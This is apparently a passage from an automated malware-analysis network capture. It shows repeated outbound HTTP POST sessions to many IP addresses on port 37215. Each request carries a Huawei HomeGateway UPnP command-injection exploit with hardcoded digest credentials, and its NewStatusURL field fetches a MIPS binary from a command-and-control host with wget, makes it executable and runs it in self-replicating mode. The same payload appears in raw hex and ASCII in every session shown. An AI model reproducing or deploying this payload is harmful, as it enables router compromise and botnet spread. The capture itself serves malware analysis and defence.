xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.14	52900	197.53.135.75	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.421575069 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.14	50070	41.66.89.207	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.423167944 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.14	47660	197.146.79.42	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.424673080 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.14	56320	41.196.1.126	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.426029921 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.14	49720	156.74.149.151	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.427397013 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.14	42110	197.100.85.188	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.429171085 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.14	36528	41.103.212.117	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.430464983 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.14	52650	197.67.121.133	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.432552099 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.14	56946	41.200.79.242	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.433744907 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.14	39644	197.103.175.106	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.437638998 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.14	41382	197.139.250.29	37215

Timestamp	Bytes transferred	Direction	Data
